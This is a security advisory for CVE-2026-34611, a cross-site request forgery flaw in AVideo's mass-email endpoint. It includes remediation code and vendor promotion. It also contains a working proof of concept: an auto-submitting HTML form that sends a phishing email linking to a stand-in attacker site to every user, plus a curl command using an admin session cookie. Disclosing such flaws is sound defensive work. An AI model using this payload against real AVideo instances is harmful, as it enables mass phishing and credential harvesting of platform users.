Summary
The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.
The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.
Details
The endpoint performs an admin check at line 10 but has no CSRF token validation:
// objects/emailAllUsers.json.php:10
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
The message body is taken directly from POST data at line 41:
// objects/emailAllUsers.json.php:41
$obj->message = $_POST['message'];
The message is rendered as HTML in the email at line 48:
// objects/emailAllUsers.json.php:48
$mail->msgHTML($obj->message);
When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.
The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.
Proof of Concept
Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-038 PoC - CSRF Mass Email</title></head>
<body>
<h1>Please wait...</h1>
<form id="massmail" method="POST"
action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">
<input type="hidden" name="subject" value="Important: Verify Your Account" />
<textarea name="message" style="display:none">
<h2>Account Verification Required</h2>
<p>Your account requires re-verification due to a recent security update.</p>
<p>Please <a href="https://attacker.example.com/phish">click here to verify</a>
within 24 hours to avoid account suspension.</p>
<p>Thank you,<br/>The Platform Team</p>
</textarea>
<!-- Omitting 'email' parameter causes it to send to ALL users -->
</form>
<script>document.getElementById('massmail').submit();</script>
</body>
</html>
Verification steps:
- Set up a test AVideo instance with at least two registered user accounts.
- Log in as an admin in one browser tab.
- Open the attacker HTML page in another tab in the same browser.
- Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.
Alternatively, test with curl using an admin session cookie:
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \
-d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"
Impact
An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:
- Mass phishing campaigns targeting all platform users with highly credible emails
- Credential harvesting by directing users to attacker-controlled login pages
- Malware distribution via HTML email payloads
- Reputation damage to the platform operator
The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.
- CWE-352: Cross-Site Request Forgery
A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.
CVE-2026-34611 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:
// objects/emailAllUsers.json.php:13
if (!isGlobalTokenValid()) {
forbiddenPage('Invalid CSRF token');
exit;
}
Found by aisafe.io
Frequently Asked Questions
- What is CVE-2026-34611? CVE-2026-34611 is a medium-severity cross-site request forgery (CSRF) vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
- How severe is CVE-2026-34611? CVE-2026-34611 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-34611? wwbn/avideo (composer) versions <= 26.0 is affected.
- Is there a fix for CVE-2026-34611? No fixed version is listed for CVE-2026-34611 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-34611 exploitable, and should I be worried? Whether CVE-2026-34611 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34611 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34611? No fixed version is listed yet. In the interim: Use per-session CSRF tokens on all state-changing operations and verify them server-side. SameSite cookie attributes provide additional defense.